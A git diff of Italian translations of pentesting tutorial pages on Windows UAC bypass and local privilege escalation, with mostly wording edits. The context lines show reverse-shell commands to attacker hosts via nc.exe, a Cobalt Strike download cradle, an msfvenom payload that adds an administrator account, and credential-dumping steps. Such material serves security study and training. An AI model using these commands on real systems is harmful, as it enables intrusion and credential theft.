-- **Limitazione Temporale dei Privilegi**: Per i compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Limitazione Temporale dei Privilegi**: Per compiti che richiedono privilegi DA, la loro durata dovrebbe essere limitata. Questo può essere ottenuto con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 
 ### **Implementazione di Tecniche di Inganno**
 

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -4,7 +4,7 @@
 
 ## UAC
 
-[Il Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che consente un **messaggio di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrità`, e un programma con un **alto livello** può eseguire compiti che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i compiti vengono sempre **eseguiti sotto il contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente queste applicazioni/compiti ad avere accesso di livello amministratore al sistema per essere eseguiti. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali ma non è considerata un confine di sicurezza.
+[Il Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrità`, e un programma con un **alto livello** può eseguire compiti che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i compiti vengono sempre **eseguiti sotto il contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente queste applicazioni/compiti ad avere accesso di livello amministratore al sistema per essere eseguiti. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali ma non è considerata un confine di sicurezza.
 
 Per ulteriori informazioni sui livelli di integrità:
 
@@ -27,15 +27,15 @@ Questa [pagina](https://docs.microsoft.com/en-us/windows/security/identity-prote
 | [Controllo Account Utente: Eleva solo le applicazioni UIAccess installate in posizioni sicure](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Abilitato                                                      |
 | [Controllo Account Utente: Esegui tutti gli amministratori in Modalità di Approvazione Amministrativa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Abilitato                                                      |
 | [Controllo Account Utente: Passa al desktop sicuro quando si richiede elevazione](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Abilitato                                                      |
-| [Controllo Account Utente: Virtualizza i fallimenti di scrittura su file e registro in posizioni per utente](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Abilitato                                                    |
+| [Controllo Account Utente: Virtualizza i fallimenti di scrittura di file e registro in posizioni per utente](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Abilitato                                                      |
 
 ### Teoria del Bypass UAC
 
 Alcuni programmi sono **autoelevati automaticamente** se l'**utente appartiene** al **gruppo amministratore**. Questi binari hanno all'interno dei loro _**Manifesti**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve essere **firmato da Microsoft** anche.
 
-Quindi, per **bypassare** il **UAC** (elevare da **livello** di integrità **medio** **a alto**) alcuni attaccanti utilizzano questo tipo di binari per **eseguire codice arbitrario** perché verrà eseguito da un **processo di alta integrità**.
+Quindi, per **bypassare** il **UAC** (elevare da **livello** di integrità **medio** a **alto**) alcuni attaccanti utilizzano questo tipo di binari per **eseguire codice arbitrario** perché verrà eseguito da un **processo di alta integrità**.
 
-Puoi **controllare** il _**Manifesto**_ di un binario utilizzando lo strumento _**sigcheck.exe**_ di Sysinternals. E puoi **vedere** il **livello di integrità** dei processi utilizzando _Process Explorer_ o _Process Monitor_ (di Sysinternals).
+Puoi **controllare** il _**Manifest**_ di un binario utilizzando lo strumento _**sigcheck.exe**_ di Sysinternals. E puoi **vedere** il **livello di integrità** dei processi utilizzando _Process Explorer_ o _Process Monitor_ (di Sysinternals).
 
 ### Controlla UAC
 
@@ -66,7 +66,7 @@ Poi, devi dare un'occhiata al valore di **`LocalAccountTokenFilterPolicy`**\
 Se il valore è **`0`**, allora, solo l'utente **RID 500** (**Amministratore integrato**) è in grado di eseguire **compiti di amministrazione senza UAC**, e se è `1`, **tutti gli account all'interno del gruppo "Administrators"** possono farlo.
 
 E, infine, dai un'occhiata al valore della chiave **`FilterAdministratorToken`**\
-Se **`0`**(predefinito), l'**account Amministratore integrato può** eseguire compiti di amministrazione remota e se **`1`** l'account Amministratore integrato **non può** eseguire compiti di amministrazione remota, a meno che `LocalAccountTokenFilterPolicy` non sia impostato su `1`.
+Se **`0`**(predefinito), l'**account Amministratore integrato può** eseguire compiti di amministrazione remota e se **`1`** l'account Amministratore integrato **non può** eseguire compiti di amministrazione remota, a meno che `LocalAccountTokenFilterPolicy` sia impostato su `1`.
 
 #### Riepilogo
 
@@ -104,7 +104,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
 - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
 
-### **Molto** Base UAC "bypass" (accesso completo al file system)
+### **Molto** Base "bypass" UAC (accesso completo al file system)
 
 Se hai una shell con un utente che è all'interno del gruppo Administrators puoi **montare il C$** condiviso tramite SMB (file system) localmente in un nuovo disco e avrai **accesso a tutto all'interno del file system** (anche alla cartella home dell'Amministratore).
 
@@ -119,7 +119,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
 ### Bypass UAC con Cobalt Strike
 
-Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al massimo livello di sicurezza.
+Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo massimo livello di sicurezza.
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -137,9 +137,9 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 
 Documentazione e strumento in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 
-### Sfruttamenti del bypass UAC
+### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME)che è una **compilazione** di diversi sfruttamenti del bypass UAC. Nota che dovrai **compilare UACME utilizzando visual studio o msbuild**. La compilazione creerà diversi eseguibili (come `Source\Akagi\outout\x64\Debug\Akagi.exe`), dovrai sapere **quale ti serve.**\
+[**UACME** ](https://github.com/hfiref0x/UACME)che è una **compilazione** di diversi exploit per il bypass del UAC. Nota che dovrai **compilare UACME utilizzando visual studio o msbuild**. La compilazione creerà diversi eseguibili (come `Source\Akagi\outout\x64\Debug\Akagi.exe`), dovrai sapere **quale ti serve.**\
 Dovresti **fare attenzione** perché alcuni bypass potrebbero **richiedere alcuni altri programmi** che **avviseranno** l'**utente** che sta accadendo qualcosa.
 
 UACME ha la **versione di build da cui ogni tecnica ha iniziato a funzionare**. Puoi cercare una tecnica che influisce sulle tue versioni:
@@ -174,7 +174,7 @@ Se non ti importa di essere rumoroso, potresti sempre **eseguire qualcosa come**
 
 ### Il tuo bypass - Metodologia di base per il bypass UAC
 
-Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking** (principalmente scrivendo il dll malevolo su _C:\Windows\System32_). [Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
+Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking** (principalmente scrivendo il dll malevolo su _C:\Windows\System32_). [Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
 1. Trova un binario che si **autoelevi** (controlla che quando viene eseguito funzioni a un livello di integrità elevato).
 2. Con procmon trova eventi "**NAME NOT FOUND**" che possono essere vulnerabili a **DLL Hijacking**.

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -32,7 +32,7 @@ integrity-levels.md
 
 ## Controlli di Sicurezza di Windows
 
-Ci sono diverse cose in Windows che potrebbero **prevenire l'enumerazione del sistema**, eseguire file eseguibili o persino **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** e **enumerare** tutti questi **meccanismi** di **difesa** prima di iniziare l'enumerazione dell'escalation dei privilegi:
+Ci sono diverse cose in Windows che potrebbero **prevenire l'enumerazione del sistema**, eseguire eseguibili o persino **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** e **enumerare** tutti questi **meccanismi** di **difesa** prima di iniziare l'enumerazione dell'escalation dei privilegi:
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/
@@ -79,7 +79,7 @@ Questo [sito](https://msrc.microsoft.com/update-guide/vulnerability) è utile pe
 
 ### Environment
 
-Qualsiasi credenziale/informazione sensibile salvata nelle variabili di ambiente?
+Qualsiasi informazione di credenziali/juicy salvata nelle variabili di ambiente?
 ```bash
 set
 dir env:
@@ -135,7 +135,7 @@ reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Script
 reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
 ```
 Gli eventi di registrazione per il Script Block possono essere trovati all'interno di Windows Event Viewer al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
-Per visualizzare gli ultimi 20 eventi, puoi usare:
+Per visualizzare gli ultimi 20 eventi puoi usare:
 ```bash
 Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
 ```
@@ -167,7 +167,7 @@ E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer`
 
 Allora, **è sfruttabile.** Se l'ultimo registro è uguale a 0, l'entry WSUS sarà ignorata.
 
-Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Questi sono script di exploit MiTM armati per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL.
+Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Questi sono script di exploit MiTM armati per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL.
 
 Leggi la ricerca qui:
 
@@ -178,7 +178,7 @@ Leggi la ricerca qui:
 [**Leggi il rapporto completo qui**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
 Fondamentalmente, questo è il difetto che questo bug sfrutta:
 
-> Se abbiamo il potere di modificare il nostro proxy utente locale, e Windows Updates utilizza il proxy configurato nelle impostazioni di Internet Explorer, quindi abbiamo il potere di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro stesso traffico ed eseguire codice come utente elevato sul nostro asset.
+> Se abbiamo il potere di modificare il nostro proxy utente locale, e gli aggiornamenti di Windows utilizzano il proxy configurato nelle impostazioni di Internet Explorer, quindi abbiamo il potere di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro stesso traffico ed eseguire codice come utente elevato sul nostro asset.
 >
 > Inoltre, poiché il servizio WSUS utilizza le impostazioni dell'utente corrente, utilizzerà anche il suo archivio certificati. Se generiamo un certificato autofirmato per il nome host WSUS e aggiungiamo questo certificato nell'archivio certificati dell'utente corrente, saremo in grado di intercettare sia il traffico WSUS HTTP che HTTPS. WSUS non utilizza meccanismi simili a HSTS per implementare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è fidato dall'utente e ha il nome host corretto, sarà accettato dal servizio.
 
@@ -194,7 +194,7 @@ Per ulteriori informazioni sul flusso dell'attacco controlla [https://research.n
 
 ## AlwaysInstallElevated
 
-**Se** questi 2 registri sono **abilitati** (il valore è **0x1**), allora gli utenti di qualsiasi privilegio possono **installare** (eseguire) `*.msi` file come NT AUTHORITY\\**SYSTEM**.
+**Se** questi 2 registri sono **abilitati** (il valore è **0x1**), allora gli utenti di qualsiasi privilegio possono **installare** (eseguire) file `*.msi` come NT AUTHORITY\\**SYSTEM**.
 ```bash
 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@@ -289,7 +289,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
 ```
 ### Credentials Guard
 
-**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**Maggiore info su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**Ulteriori informazioni su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard)
 ```bash
 reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 ```
@@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
 
 ### Enumerare Utenti e Gruppi
 
-Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti
+Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti.
 ```bash
 # CMD
 net users %username% #Me
@@ -329,8 +329,8 @@ Se **appartieni a un gruppo privilegiato, potresti essere in grado di elevare i
 
 ### Manipolazione dei token
 
-**Scopri di più** su cosa sia un **token** in questa pagina: [**Token di Windows**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
-Controlla la seguente pagina per **scoprire token interessanti** e come abusarne:
+**Scopri di più** su cosa sia un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
+Controlla la pagina seguente per **scoprire token interessanti** e come abusarne:
 
 {{#ref}}
 privilege-escalation-abusing-tokens.md
@@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
 ### Permessi di File e Cartelle
 
 Prima di tutto, elencare i processi **controlla se ci sono password all'interno della riga di comando del processo**.\
-Controlla se puoi **sovrascrivere qualche binario in esecuzione** o se hai permessi di scrittura nella cartella del binario per sfruttare possibili [**attacchi di DLL Hijacking**](dll-hijacking/):
+Controlla se puoi **sovrascrivere qualche binario in esecuzione** o se hai permessi di scrittura nella cartella del binario per sfruttare possibili [**attacchi di DLL Hijacking**](dll-hijacking/index.html):
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -381,7 +381,7 @@ icacls "%%z"
 )
 )
 ```
-**Controllo dei permessi delle cartelle dei binari dei processi (**[**DLL Hijacking**](dll-hijacking/)**)**
+**Controllo dei permessi delle cartelle dei binari dei processi (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -391,7 +391,7 @@ todos %username%" && echo.
 ```
 ### Estrazione password dalla memoria
 
-Puoi creare un dump della memoria di un processo in esecuzione utilizzando **procdump** di sysinternals. Servizi come FTP hanno le **credenziali in chiaro nella memoria**, prova a eseguire il dump della memoria e leggere le credenziali.
+Puoi creare un dump della memoria di un processo in esecuzione utilizzando **procdump** di sysinternals. Servizi come FTP hanno le **credenziali in chiaro nella memoria**, prova a eseguire il dump della memoria e a leggere le credenziali.
 ```bash
 procdump.exe -accepteula -ma <proc_name_tasklist>
 ```
@@ -470,11 +470,11 @@ I privilegi possono essere elevati attraverso vari permessi:
 - **GENERIC_WRITE**: Eredita anche la capacità di modificare le configurazioni del servizio.
 - **GENERIC_ALL**: Eredita anch'essa la capacità di modificare le configurazioni del servizio.
 
-Per la rilevazione e lo sfruttamento di questa vulnerabilità, si può utilizzare il _exploit/windows/local/service_permissions_.
+Per la rilevazione e lo sfruttamento di questa vulnerabilità, si può utilizzare _exploit/windows/local/service_permissions_.
 
 ### Permessi deboli dei binari dei servizi
 
-**Controlla se puoi modificare il binario eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** in cui si trova il binario ([**DLL Hijacking**](dll-hijacking/))**.**\
+**Controlla se puoi modificare il binario eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** in cui si trova il binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
 Puoi ottenere ogni binario eseguito da un servizio utilizzando **wmic** (non in system32) e controllare i tuoi permessi usando **icacls**:
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@@ -487,10 +487,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
 FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
 FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
 ```
-### Modifica delle autorizzazioni del registro dei servizi
+### Servizi modifica permessi del registro
 
 Dovresti controllare se puoi modificare qualche registro di servizio.\
-Puoi **controllare** le tue **autorizzazioni** su un **registro** di servizio eseguendo:
+Puoi **controllare** i tuoi **permessi** su un **registro** di servizio facendo:
 ```bash
 reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
 
@@ -543,19 +543,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
 ```powershell
 gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
 ```
-**Puoi rilevare ed esploitare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit:
+**Puoi rilevare e sfruttare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit:
 ```bash
 msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
 ```
 ### Azioni di Recupero
 
-Windows consente agli utenti di specificare azioni da intraprendere se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binario. Se questo binario è sostituibile, potrebbe essere possibile un'escalation dei privilegi. Maggiori dettagli possono essere trovati nella [documentazione ufficiale](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
+Windows consente agli utenti di specificare azioni da intraprendere se un servizio fallisce. Questa funzione può essere configurata per puntare a un binario. Se questo binario è sostituibile, potrebbe essere possibile un'escalation dei privilegi. Maggiori dettagli possono essere trovati nella [documentazione ufficiale](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
 
 ## Applicazioni
 
 ### Applicazioni Installate
 
-Controlla **i permessi dei binari** (forse puoi sovrascriverne uno e ottenere privilegi elevati) e delle **cartelle** ([DLL Hijacking](dll-hijacking/)).
+Controlla **i permessi dei binari** (forse puoi sovrascriverne uno e ottenere privilegi elevati) e delle **cartelle** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -593,7 +593,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
 ```
 ### Esegui all'avvio
 
-**Controlla se puoi sovrascrivere qualche registro o binario che verrà eseguito da un utente diverso.**\
+**Controlla se puoi sovrascrivere qualche registro o binario che verrà eseguito da un altro utente.**\
 **Leggi** la **seguente pagina** per saperne di più su interessanti **posizioni di autorun per escalare i privilegi**:
 
 {{#ref}}
@@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
 
 ### Driver
 
-Cerca possibili driver **di terze parti strani/vulnerabili**.
+Cerca possibili driver **di terze parti strani/vulnerabili**
 ```bash
 driverquery
 driverquery.exe /fo table
@@ -638,7 +638,7 @@ Controlla altri computer noti hardcoded nel file hosts
 ```
 type C:\Windows\System32\drivers\etc\hosts
 ```
-### Interfacce di Rete & DNS
+### Interfacce di rete e DNS
 ```
 ipconfig /all
 Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
@@ -660,7 +660,7 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn
 arp -A
 Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 ```
-### Firewall Rules
+### Regole del Firewall
 
 [**Controlla questa pagina per i comandi relativi al Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elenca regole, crea regole, disattiva, disattiva...)**
 
@@ -701,13 +701,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 ### Gestore delle credenziali / Vault di Windows
 
 From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-Il Vault di Windows memorizza le credenziali degli utenti per server, siti web e altri programmi che **Windows** può **accedere automaticamente per gli utenti**. A prima vista, questo potrebbe sembrare che ora gli utenti possano memorizzare le proprie credenziali di Facebook, Twitter, Gmail, ecc., in modo che accedano automaticamente tramite i browser. Ma non è così.
+Il Vault di Windows memorizza le credenziali degli utenti per server, siti web e altri programmi che **Windows** può **accedere automaticamente per gli utenti**. A prima vista, questo potrebbe sembrare che ora gli utenti possano memorizzare le loro credenziali di Facebook, Twitter, Gmail, ecc., in modo che accedano automaticamente tramite i browser. Ma non è così.
 
 Il Vault di Windows memorizza le credenziali che Windows può utilizzare per accedere automaticamente agli utenti, il che significa che qualsiasi **applicazione Windows che necessita di credenziali per accedere a una risorsa** (server o sito web) **può utilizzare questo Gestore delle credenziali** e il Vault di Windows e utilizzare le credenziali fornite invece che gli utenti debbano inserire continuamente nome utente e password.
 
 A meno che le applicazioni non interagiscano con il Gestore delle credenziali, non penso sia possibile per loro utilizzare le credenziali per una data risorsa. Quindi, se la tua applicazione desidera utilizzare il vault, dovrebbe in qualche modo **comunicare con il gestore delle credenziali e richiedere le credenziali per quella risorsa** dal vault di archiviazione predefinito.
 
-Usa il `cmdkey` per elencare le credenziali memorizzate sulla macchina.
+Usa `cmdkey` per elencare le credenziali memorizzate sulla macchina.
 ```bash
 cmdkey /list
 Currently stored credentials:
@@ -719,11 +719,11 @@ Puoi quindi utilizzare `runas` con l'opzione `/savecred` per utilizzare le crede
 ```bash
 runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
 ```
-Utilizzando `runas` con un insieme di credenziali fornite.
+Utilizzando `runas` con un insieme di credenziali fornito.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
-Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o dal [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
+Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o dal [modulo Empire Powershells](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
 
 ### DPAPI
 
@@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
 
 ### Credenziali PowerShell
 
-Le **credenziali PowerShell** sono spesso utilizzate per **scripting** e compiti di automazione come un modo per memorizzare comodamente credenziali criptate. Le credenziali sono protette usando **DPAPI**, il che significa che possono essere decriptate solo dallo stesso utente sullo stesso computer su cui sono state create.
+Le **credenziali PowerShell** sono spesso utilizzate per **scripting** e compiti di automazione come un modo per memorizzare comodamente credenziali criptate. Le credenziali sono protette usando **DPAPI**, il che significa tipicamente che possono essere decriptate solo dallo stesso utente sullo stesso computer su cui sono state create.
 
 Per **decriptare** una credenziale PS dal file che la contiene puoi fare:
 ```powershell
@@ -786,7 +786,7 @@ e in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
 HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 ```
-### **Gestore delle credenziali di Desktop Remoto**
+### **Gestore delle credenziali di Desktop remoto**
 ```
 %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 ```
@@ -890,7 +890,7 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
 if ($result) { $result }
 else { Write "Not Installed." }
 ```
-## Files and Registry (Credenziali)
+## File e Registro (Credenziali)
 
 ### Credenziali Putty
 ```bash
@@ -1062,7 +1062,7 @@ $cred.GetNetworkCredential() | fl
 ```
 ### **Possibili nomi di file contenenti credenziali**
 
-File noti che tempo fa contenevano **password** in **chiaro** o **Base64**
+File noti che qualche tempo fa contenevano **password** in **chiaro** o **Base64**
 ```bash
 $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
 vnc.ini, ultravnc.ini, *vnc*
@@ -1229,7 +1229,7 @@ I segmenti di memoria condivisa, noti come **pipe**, consentono la comunicazione
 
 Windows fornisce una funzionalità chiamata **Named Pipes**, che consente a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un'architettura client/server, con ruoli definiti come **named pipe server** e **named pipe client**.
 
-Quando i dati vengono inviati attraverso una pipe da un **client**, il **server** che ha impostato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che abbia i diritti necessari **SeImpersonate**. Identificare un **processo privilegiato** che comunica tramite una pipe che puoi imitare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo una volta che interagisce con la pipe che hai stabilito. Per istruzioni su come eseguire un attacco del genere, puoi trovare guide utili [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system).
+Quando i dati vengono inviati attraverso una pipe da un **client**, il **server** che ha impostato la pipe ha la possibilità di **assumere l'identità** del **client**, a condizione che abbia i necessari diritti **SeImpersonate**. Identificare un **processo privilegiato** che comunica tramite una pipe che puoi imitare offre l'opportunità di **ottenere privilegi più elevati** adottando l'identità di quel processo una volta che interagisce con la pipe che hai stabilito. Per istruzioni su come eseguire un attacco del genere, puoi trovare guide utili [**qui**](named-pipe-client-impersonation.md) e [**qui**](#from-high-integrity-to-system).
 
 Inoltre, il seguente strumento consente di **intercettare una comunicazione di named pipe con uno strumento come burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e questo strumento consente di elencare e vedere tutte le pipe per trovare privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
@@ -1339,14 +1339,14 @@ Utilizzando questa tecnica di solito **si seleziona qualsiasi processo in esecuz
 
 ### **Named Pipes**
 
-Questa tecnica è utilizzata da meterpreter per eseguire l'**escalation in `getsystem`**. La tecnica consiste nel **creare un pipe e poi creare/abuse un servizio per scrivere su quel pipe**. Poi, il **server** che ha creato il pipe utilizzando il privilegio **`SeImpersonate`** sarà in grado di **impersonare il token** del client del pipe (il servizio) ottenendo privilegi SYSTEM.\
+Questa tecnica è utilizzata da meterpreter per escalare in `getsystem`. La tecnica consiste nel **creare un pipe e poi creare/abuse un servizio per scrivere su quel pipe**. Poi, il **server** che ha creato il pipe utilizzando il privilegio **`SeImpersonate`** sarà in grado di **impersonare il token** del client del pipe (il servizio) ottenendo privilegi SYSTEM.\
 Se vuoi [**saperne di più sui named pipes dovresti leggere questo**](#named-pipe-client-impersonation).\
 Se vuoi leggere un esempio di [**come passare da alta integrità a System utilizzando i named pipes dovresti leggere questo**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
-Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in esecuzione come **SYSTEM**, sarai in grado di eseguire codice arbitrario con quei permessi. Pertanto, il Dll Hijacking è utile anche per questo tipo di escalation dei privilegi e, inoltre, è **molto più facile da ottenere da un processo ad alta integrità** poiché avrà **permessi di scrittura** sulle cartelle utilizzate per caricare i dll.\
